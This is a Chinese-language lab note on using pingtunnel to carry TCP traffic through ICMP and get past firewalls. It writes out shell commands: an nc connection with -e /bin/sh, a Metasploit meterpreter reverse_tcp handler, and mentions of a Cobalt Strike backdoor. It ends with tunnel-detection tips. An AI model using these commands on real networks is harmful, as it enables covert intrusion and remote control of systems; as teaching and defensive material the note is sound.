ICMP隧道
防⽕墙没有开放任何端⼝,但是icmp消息不使用端口号,而是通过IP头部中的协议字段来识别。在一些网络环境中,如果不经过认证,TCP和UDP数据包都会被拦截。如果用户可以ping通远程计算机,就可以尝试建立ICMP隧道,将TCP数据通过该隧道发送,实现不受限的网络访问。
1、工具:pingtunnel
imcptunnel可以将IP流量封装进ICMP的ping数据包中,旨在利用ping穿透防火墙的检测,因为通常防火墙是不会屏蔽ping数据包的。
- 穿透性好:由于ICMP报文通常被防火墙允许通过,ICMP隧道可以在一些防火墙限制比较严格的网络环境中使用
- 协议广泛支持:ICMP是网络层的协议之一,几乎所有的操作系统和网络设备都支持它
- 隐蔽性较差:在一些网络环境中,ICMP报文可能会被监控和过滤。
安装方法:https://blog.csdn.net/qq_45300786/article/details/110943803
通⽤参数:
- -type client | server:指定当前是server还是client
- -key:输入密钥
- -nolog:不保留⽇志,默认为0
client 参数:
- -l:本地端⼝,发送到本端⼝的流量会被转发
- -s:服务器地址 ip
- -t:⽬的地址,服务器地址 :端⼝号
- -tcp:是否转发 tcp, 默认为 0
icmpsh
实验:ICMP隧道
client:777 => server:888
不需要端⼝ icmp 数据包 发送到机器后 => 再去找端⼝
搭建隧道:
1、nc实现上线:
server: ./pingtunnel -type server -key 密钥
client: ./pingtunnel -type client -key 密钥 -s 本地地址 -l :本地开放端口 -t 目的地址:目的开放端口 -tcp 1
nohup 命令 &:将这条命令回写到文件里
jobs -l :查看后台执⾏任务的 pid
kill -9 进程号:终止进程
进行连接上线:
server:nc -lp 本地开放端口
client:nc -n 127.0.0.1 本地开放端口 -e /bin/sh
2、CS实现上线:
CS上创建两个监听器
生产后门
3、MSF实现上线
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 777
exploit
icmp 隧道防御
- 同⼀来源 ICMP 数据包数量
- Payload ⼤于 64bit 的数据包
- 响应包中 Payload 和 请求包 Payload 不⼀致的 ICMP 数据包
- ICMP 数据包协议标签,icmptunnel 所有的 ICMP 数据包的 Payload 中 添加⼀个 TUNL来表示特征